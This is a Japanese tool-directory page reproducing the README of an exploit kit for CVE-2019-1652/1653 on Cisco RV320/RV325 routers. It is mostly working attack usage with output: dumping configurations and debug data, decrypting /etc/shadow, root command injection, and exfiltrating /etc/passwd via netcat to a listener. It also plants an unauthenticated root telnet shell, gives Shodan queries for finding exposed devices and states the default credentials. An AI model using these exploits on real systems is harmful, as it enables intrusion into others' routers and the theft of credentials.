Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CiscoRV320Dump — CVE-2019-1652 /CVE-2019-1653 エクスプロイト:Cisco RV320設定とデバッグデータのダンプ、およびリモートルートエクスプロイト! | Kitploit
ツール/GitHubGitHub/0x27/ciscorv320dump
偵察パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用構成監査
GitHub0x27/ciscorv320dump

CiscoRV320Dump

CVE-2019-1652 /CVE-2019-1653 エクスプロイト:Cisco RV320設定とデバッグデータのダンプ、およびリモートルートエクスプロイト!

リポジトリを見る
22864117年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CiscoRV320Dump

CVE-2019-1653/CVE-2019-1652 エクスプロイト - Cisco RV320 設定のダンプと RCE の取得

Red Team Pentesting GmbH によって公開された CVE-2019-1652 および CVE-2019-1653 エクスプロイトの実装です。

RV320 でのみテストしましたが、Cisco のアドバイザリ によれば、RV325 も脆弱です。

以下の Shodan クエリで見つかるようです。興味があれば、どれだけ存在するか確認してみてください。かなり多く存在するようです…
ssl:RV320
ssl:RV325
port:161 RV325
port:161 RV320

この脆弱性により、以下が可能になります:

  • 設定ファイルの(平文での)ダンプ!(WebUI のハッシュも含む)
  • 診断/デバッグファイルの(暗号化された)ダンプ!(設定、/etc および /var ディレクトリを含む)
  • 暗号化された診断/デバッグファイルの復号!(はい、/etc/shadow も取得できます!)
  • WebUI での root 権限による認証後リモートコマンドインジェクション!

ちなみに、デフォルトの認証情報は cisco:cisco です。

エクスプロイト…

設定ダンパーエクスプロイト…

設定ダンプエクスプロイト については、ターゲット、ポート、SSL のオン/オフ、出力ディレクトリを設定するだけです。設定がそこにダンプされます。

$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config! Writing to output/x.x.x.x_8443.conf
$

デバッグデータダンパーエクスプロイト…

デバッグデータダンプエクスプロイト も同様の手順ですが、ダンプされるデータはより大きく、暗号化されています。 提供されている decrypt.sh スクリプトを使用するか、手動で openssl を使って復号してください。これにより tar ファイルが得られます。 デバッグ出力では設定だけでなく、/etc と /var のバックアップ、そしてもちろん /etc/shadow ファイルも取得できます。 復号スクリプトを Python で書き直す予定ですが、今は簡易的な対応です。

$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} We seem to have found a valid encrypted config! Writing to output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc 
Cisco Encrypted Debug Data Decryption Script!
{+} Decrypting output/x.x.x.x_8443.enc
{+} Plaintext should be at output/x.x.x.x_8443.enc.decrypted.tar.gz...
$ 

これらのエクスプロイトから得られた認証情報(ハッシュ)を使用して、CVE-2019-1652 を利用し、デバイス上でコマンドを実行できます。

その前に、パスワードの「ハッシュ化」に関する注意点をいくつか。これらのデバイスでは、設定ファイルに PASSWD という変数があり、その後に md5 ハッシュが続きます。 この md5 ハッシュは md5($password.$auth_key) であり、auth_key は静的値を GET / して解析することで取得できます。 よく使われる共通の値が存在するようで、それを RCE エクスプロイトにハードコードしてあり、ページパーサーの正規表現が失敗した場合のフォールバックとして使用しています。

認証後 RCE エクスプロイト

CVE-2019-1652 は、認証が必要なシェルコマンドインジェクションの脆弱性を明らかにしています。exec_cmd.py はこれを実装しており、有効なログイン認証情報を持っていることを前提としています。デフォルトは "cisco:cisco" ですが、ハッシュをクラックすることもできます。

コマンドインジェクションはブラインドであるため、出力は得られません。環境は非常に制限された Busybox セットアップで、弱体化された netcat が使われており、ボックスは mips64 なので、今回はリバースシェルエクスプロイトは書きませんでした。しかし、cat /etc/passwd | nc HOST PORT のようにして、リスナーを起動しておけばコマンド出力を取得できます。

また、telnetd -l /bin/sh -p 1337 のようなコマンドを注入して、結果の telnet サービスに接続すれば、認証不要の root シェルが得られます。

以下にエクスプロイトの実行例を示します。

$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: cat /etc/passwd | nc x.x.x.x 1337
{+} We don't get output so... Yeah. Shits blind.
$
# listener 側で...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin

$

「フルパッケージ」エクスプロイト

Cisco の仕様により、抽出したハッシュをそのまま渡してログインセッションを確立できます。そこで、ハッシュを抽出して渡すエクスプロイトを作成しました。 これが easy_access.py です。CGI バイナリのパスに "EasyAccess" というフォルダが含まれていることに由来します。

EasyAccess の実行例を以下に示します。

$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} Gonna go grab us a config file...
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config!
{+} Extracting Creds...
{+} Got user: cisco
{+} Got password (hash): [redacted]
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: telnetd -l /bin/sh -p 1337
{+} We don't get output so... Yeah. Shits blind.

$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # id
uid=0(root) gid=99(nobody)
~ # 

楽しいハッキングを。

ツールをダウンロード